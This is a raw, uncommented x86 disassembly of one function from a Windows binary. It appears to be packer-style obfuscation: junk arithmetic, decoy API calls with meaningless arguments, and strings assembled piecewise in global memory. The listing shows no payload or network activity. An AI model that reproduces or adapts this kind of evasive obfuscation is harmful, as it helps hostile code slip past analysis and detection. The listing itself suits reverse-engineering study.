cmp edi, 0x10a27
je 0x40ec63
xor dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x28]
mov edx, dword [ebp - 0x48]
add eax, 0x12267
or dword [ebp - 0x58], esi
sub edx, 0x3af
cmp dword [ebp - 0x34], 0x129a6
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x48], edx
jne 0x40ec48
or dword [ebp - 0x54], eax
or edx, 0x92e7
mov eax, dword [ebp - 0x4c]
sub dword [ebp - 8], ecx
or eax, 0x60de
mov ecx, dword [ebp - 0x14]
or esi, eax
and dword [ebp - 0xc], ecx
add dword [ebp - 0x20], 0x11bc7
xor dword [ebp - 0x24], 0x76af
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x58]
xor eax, 0x9c93
mov dword [ebp - 0x48], edx
sub eax, 0x11731
mov dword [ebp - 4], esi
mov dword [ebp - 0x58], eax
push 0x585c
push 0x10f28
push 0x5281
call dword [sym.imp.KERNEL32.dll_EnumResourceLanguagesW]
mov edx, dword [ebp - 0x18]
add esp, 0xc
mov eax, dword [ebp - 8]
inc dword [ebp - 0x14]
add eax, 0xe5e5
add dword [ebp - 0x30], 0x161fd
sub dword [ebp - 0x50], edx
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x54]
sub eax, 0x11aa5
mov dword [ebp - 0x54], eax
and eax, dword [ebp - 0x34]
sub eax, esi
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x20]
cmp eax, 0xffb4
jge 0x40ecbf
mov eax, dword [ebp - 0x54]
or ecx, esi
xor eax, dword [ebp - 0x58]
add dword [ebp - 0x48], 0xaba
and eax, 0x1145b
xor dword [ebp - 0x50], 0x142d8
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x28], ecx
cmp dword [ebp - 0x14], 0xaec0
mov esi, dword [ebp - 4]
jl 0x40eb50
mov eax, dword [ebp - 0x4c]
add eax, 0x3af2
push eax
mov eax, dword [ebp - 0x50]
add eax, 0xffff1eed
push eax
mov eax, dword [ebp - 0x20]
add eax, 0x3554b
push eax
lea eax, [edi + 0x3bc]
push eax
lea eax, [edx + 0x6e7e]
mov edx, dword [ebp - 8]
push eax
lea eax, [ebx + 0x66b0]
push eax
lea eax, [ecx + 0x14fb7]
mov ecx, dword [ebp - 0x1c]
push eax
lea eax, [edi + 0x42ea]
push eax
lea edx, [edx - 0x10381]
lea ecx, [ecx + 0xeeb6]
call fcn.00401160
mov ecx, dword [ebp - 0x54]
mov edx, dword [ebp - 0xc]
add ecx, 0x34d93
push ecx
mov ecx, dword [ebp - 0x5c]
add ecx, 0x58bb
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x5c]
push ecx
mov ecx, dword [ebp - 0x40]
add eax, 0x3d8d
add ecx, 0x5662
push ecx
mov ecx, dword [ebp - 0x34]
add ecx, 0xfffff202
push ecx
lea ecx, [edx + 0x1c2f3]
push ecx
mov ecx, dword [ebp - 0x3c]
push eax
lea eax, [edx + 0x19863]
mov edx, dword [ebp - 0x48]
push eax
mov eax, dword [ebp - 0x54]
lea ecx, [ecx + 0x3d611]
add eax, 0x495bd
push eax
lea edx, [edx + 0x38658]
call fcn.00401160
mov dword [ebp - 0x60], eax
add esp, 0x40
add eax, 0x7361
mov dword [ebp - 0x48], eax
test eax, eax
jle 0x40edc4
mov edx, dword [ebp - 0x14]
mov ecx, eax
imul ecx, edi
add dword [ebp - 0x4c], ecx
add dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x54]
nop
or ecx, 0x778f
and eax, edx
sub dword [ebp - 0x48], 1
jne 0x40edb0
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x18], 0xffff8ca1
mov dword [0x47da04], 0x6b726d67
jge 0x40eed4
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0xc]
mov esi, dword [ebp - 0x50]
add edx, 0x106c6
mov ebx, dword [ebp - 0x1c]
and esi, 0x82c7
and dword [ebp - 0x34], ebx
add esi, 0x698
mov ebx, dword [ebp - 0x18]
and eax, 0x23d4
xor dword [ebp - 0x60], ecx
xor esi, ebx
and dword [ebp - 0x5c], ecx
inc ebx
and dword [ebp - 0x54], edi
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0x24]
add ebx, dword [ebp - 4]
mov dword [ebp - 0x50], esi
mov esi, dword [ebp - 0x14]
or ebx, esi
or esi, 0x18382
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x60], 0x620d
mov ebx, dword [ebp - 0x28]
mov dword [ebp - 0x14], esi
mov esi, dword [ebp - 4]
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], eax
jge 0x40eec4
and dword [ebp - 0x54], 0x17d03
push 0x7291
push 0x155f5
push 0x4c4c
push 0xfe3a
push 0x16151
call dword [sym.imp.GDI32.dll_LPtoDP]
mov eax, dword [ebp - 0x50]
add esp, 0x14
mov ecx, dword [ebp - 0x3c]
sub eax, 0x5bdf
mov edx, dword [ebp - 0xc]
mov dword [ebp - 0x50], eax
cmp ebx, 0xab4f
je 0x40eec1
sub eax, ecx
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x18]
and dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x58]
cmp eax, 0xceb1
je 0x40eec1
add ebx, dword [ebp - 0x20]
xor edx, 0x127cf
add dword [ebp - 8], 0x6752
and eax, 0x14cf
sub dword [ebp - 0x1c], edi
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x18], 0xffff8ca1
jl 0x40ede4
mov ebx, dword [ebp - 0x2c]
cmp edi, 0x14033
jge 0x40f053
mov edx, dword [ebp - 0x28]
mov eax, 0x14033
sub eax, edi
mov edi, 0x14033
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x38], edi
mov edi, dword [ebp - 0x10]
nop dword [eax + eax]
or dword [ebp - 0x40], 0x9f96
sub dword [ebp - 0x4c], 0x934f
cmp dword [ebp - 0x30], 0x5c89
mov ecx, dword [ebp - 0x3c]
je 0x40f01d
mov ecx, dword [ebp - 0x40]
sub esi, 0x12354
mov eax, dword [ebp - 0x58]
add ecx, ecx
and dword [ebp - 0x30], eax
sub dword [ebp - 0x34], 0x5219
or dword [ebp - 0x24], 0xd91a
add dword [ebp - 0x14], 0x94d
cmp ecx, 0x4b56
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x40], ecx
mov ecx, dword [ebp - 0x3c]
jne 0x40f01d
sub dword [ebp - 0x4c], ebx
or edi, 0x156df
and eax, 0x102f0
mov dword [ebp - 0x10], edi
sub edx, 0xeae5
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x34], 0x133c7
jle 0x40f01d
add dword [ebp - 0x50], 0x70af
add ebx, 0x553f
sub edx, dword [ebp - 0x54]
or dword [ebp - 0x5c], eax
cmp edi, 0xb3b5
jge 0x40f01d
and dword [ebp - 0x24], 0x7f28
or edi, ecx
sub dword [ebp - 0x18], 0x86ea
and dword [ebp - 8], 0xd0a6
mov dword [ebp - 0x10], edi
mov edi, dword [ebp - 0x14]
sub edi, dword [ebp - 0x60]
mov dword [ebp - 0x14], edi
mov edi, dword [ebp - 0x1c]
sub edx, edi
xor edi, ecx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x1c], edi
cmp edx, 0x1112a
jge 0x40f01d
mov eax, dword [ebp - 0x5c]
add dword [ebp - 0x58], 0x15422
and eax, 0x2572
or eax, dword [ebp - 0x50]
add dword [ebp - 0x24], 0x11cf7
push 0xf1ae
push 0xcc94
push 0x11625
push 0xbea8
push 0x108e5
mov dword [ebp - 0x5c], eax
call fcn.004010d0
mov eax, dword [ebp - 0x44]
add esp, 0x14
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x28]
mov edi, dword [ebp - 0x5c]
xor ecx, edx
sub dword [ebp - 0x58], edi
add edx, 0x12cac
add dword [ebp - 0x60], 0xb3e
or edx, eax
xor esi, dword [ebp - 0x20]
dec dword [ebp - 0x1c]
sub dword [ebp - 0x48], 1
mov edi, dword [ebp - 0x10]
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x28], edx
jne 0x40ef00
mov edi, dword [ebp - 0x38]
mov dword [ebp - 4], esi
mov edx, dword [ebp - 0x34]
lea eax, [edi - 0x51ec]
push eax
lea ecx, [esi + 0x304e9]
lea edx, [edx + 0x19362]
call fcn.00401170
mov edx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x60]
mov esi, dword [ebp - 0x34]
add ecx, 0xfffebee1
push ecx
lea ecx, [edx + 0xf88]
mov dword [ebp - 0x44], eax
push ecx
mov ecx, dword [ebp - 0x14]
add esi, 0x6483
add ecx, 0xffff80f7
add edx, 0xffff84e9
push ecx
mov ecx, dword [ebp - 0x30]
add ecx, 0xe388
push ecx
mov ecx, eax
push esi
add ecx, 0x7456
call fcn.00401150
mov ecx, dword [ebp - 0x34]
mov edx, eax
mov eax, dword [ebp - 0x20]
add ecx, 0x16a59
push ecx
add edx, 0x4c00
lea ecx, [eax + 0x13520]
push ecx
lea ecx, [eax + 0x12f9e]
mov eax, dword [ebp - 8]
push ecx
mov ecx, dword [ebp - 0x50]
add eax, 0xfffeff62
add ecx, 0x1b0ad
push ecx
mov ecx, dword [ebp - 0x24]
add ecx, 0x13f39
push ecx
mov ecx, dword [ebp - 0x24]
push eax
mov eax, dword [ebp - 0x10]
add eax, 0xdaa0
push eax
mov eax, dword [ebp - 0xc]
lea ecx, [ecx + 0x559]
add eax, 0x102e9
push eax
call fcn.00401210
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 4]
add ecx, 0x161a6
push ecx
lea ecx, [ebx + 0x1aa2b]
mov dword [ebp - 0x58], eax
mov byte [0x47da23], 0xe6
lea edx, [edx + 0x2c712]
call fcn.00401170
lea ecx, [edi - 0x47e7]
mov dword [ebp - 0x48], eax
push ecx
mov ecx, dword [ebp - 0x5c]
lea edx, [ebx + 0x37f3]
mov ebx, dword [ebp - 0x10]
add ecx, 0x996e
push ecx
mov ecx, dword [ebp - 0x4c]
add ecx, 0x8d23
mov dword [0x47da0c], 0x4b756c62
push ecx
mov ecx, dword [ebp - 8]
add ecx, 0xffffbbcb
push ecx
push esi
lea ecx, [ebx + 0x16ff5]
call fcn.00401150
mov edi, dword [ebp - 0xc]
add esp, 0x50
mov esi, dword [ebp - 0x50]
mov dword [ebp - 0x5c], eax
lea ecx, [edi + 0x94b2]
push ecx
mov ecx, dword [ebp - 0x60]
lea edx, [esi + 0x1b733]
lea ecx, [ecx - 0xb863]
call fcn.00401170
mov ecx, dword [ebp - 0x54]
add esp, 4
cmp ecx, 0x4013
jge 0x40f273
mov edx, dword [ebp - 0x60]
mov eax, 0x4013
mov edi, dword [ebp - 0x48]
sub eax, ecx
mov ecx, dword [ebp - 8]
mov dword [ebp - 0x50], eax
imul eax, eax, 0xffff43a4
mov dword [ebp - 0x54], 0x4013
add ebx, eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x10], ebx
mov ebx, dword [ebp - 0x3c]
nop dword [eax]
and edx, dword [ebp - 0x5c]
and ecx, dword [ebp - 0x5c]
mov dword [ebp - 0x60], edx
mov dword [ebp - 8], ecx
cmp esi, 0x4b3b
jne 0x40f257
push 0x13cf1
push 0xe673
push 0x10282
push 0x1c6
push 0x11f8b
push 0x18396
call dword [sym.imp.ADVAPI32.dll_SetKernelObjectSecurity]
mov ecx, dword [ebp - 8]
add esp, 0x18
mov eax, dword [ebp - 0x4c]
xor edi, ecx
mov edx, dword [ebp - 0x60]
mov esi, edi
or esi, 0x4b3b
cmp eax, 0xe7
jle 0x40f257
add dword [ebp - 0x28], edi
and ebx, 0xd57e
or dword [ebp - 0x58], 0x1854f
or esi, edx
inc eax
sub dword [ebp - 0x50], 1
mov dword [ebp - 0x4c], eax
jne 0x40f1f0
mov ecx, dword [ebp - 0x54]
mov dword [ebp - 0x48], edi
mov edi, dword [ebp - 0xc]
mov dword [ebp - 0x3c], ebx
mov ebx, dword [ebp - 0x10]
mov dword [ebp - 0x50], esi
mov eax, dword [ebp - 0x5c]
mov esi, dword [ebp - 0x3c]
add eax, 0xffffe8e4
mov edx, dword [ebp - 0x50]
push eax
mov eax, dword [ebp - 8]
add eax, 0xffff8e2f
mov dword [0x47d9ec], 0x72646a53
push eax
lea eax, [ecx + 0xf9f3]
add ecx, 0x131e2
push eax
lea eax, [esi - 0x15266]
push eax
mov eax, dword [ebp - 0x44]
lea edx, [edx + 0x82d2]
add eax, 0xffff16b3
push eax
call fcn.00401150
mov ecx, dword [ebp - 0x28]
add esp, 0x14
cmp dword [ebp - 0x18], 0x10e31
mov edx, dword [ebp - 0x60]
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x4c]
mov dword [0x47da1c], 0x4f516963
jge 0x40f310
nop
xor dword [ebp - 0x5c], 0x9960
inc edx
add esi, 0x35a7
xor ecx, 0xc3f3
add eax, 0x1243b
cmp edx, 0x969
jl 0x40f2e0
jmp 0x40f32d
mov eax, dword [ebp - 0x10]
jmp 0x40eb28
xor dword [ebp - 0x5c], 0x9960
inc edx
add esi, 0x35a7
xor ecx, 0xc3f3
dec eax
cmp edx, 0x969
jl 0x40f310
mov edx, dword [ebp - 0x18]
add esi, 0x12e60
and edx, dword [ebp - 0x58]
mov dword [ebp - 0x4c], eax
cmp eax, 0xe9cb
je 0x40f35b
add ecx, ebx
cmp ecx, 0xc9a4
jne 0x40f35b
add edi, 0x5e39
add eax, edi
xor esi, dword [ebp - 0x5c]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x48]
add eax, 0xffff3d53
push eax
lea eax, [ebx + 0x11317]
push eax
lea eax, [edx + 0x164d6]
push eax
mov eax, dword [ebp - 0x58]
lea edx, [edi - 0x3151]
add eax, 0x11f33
push eax
lea eax, [esi - 0x2883b]
push eax
lea eax, [edi - 0x1c08]
push eax
lea eax, [ecx + 0x17cfa]
mov ecx, dword [ebp - 0x4c]
push eax
lea eax, [ebx + 0x23d78]
push eax
lea ecx, [ecx - 0x5881]
call fcn.00401160
add esp, 0x20
mov eax, str.aJFuRJavwgaorfNwIcYwzdrMwVpvcrBpgxUJucUorlrCCUnuYTdUbRABwXFZuFRWnPZxLZdcLEiDGeypYTEfWbvMReGUwffxwcPW
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret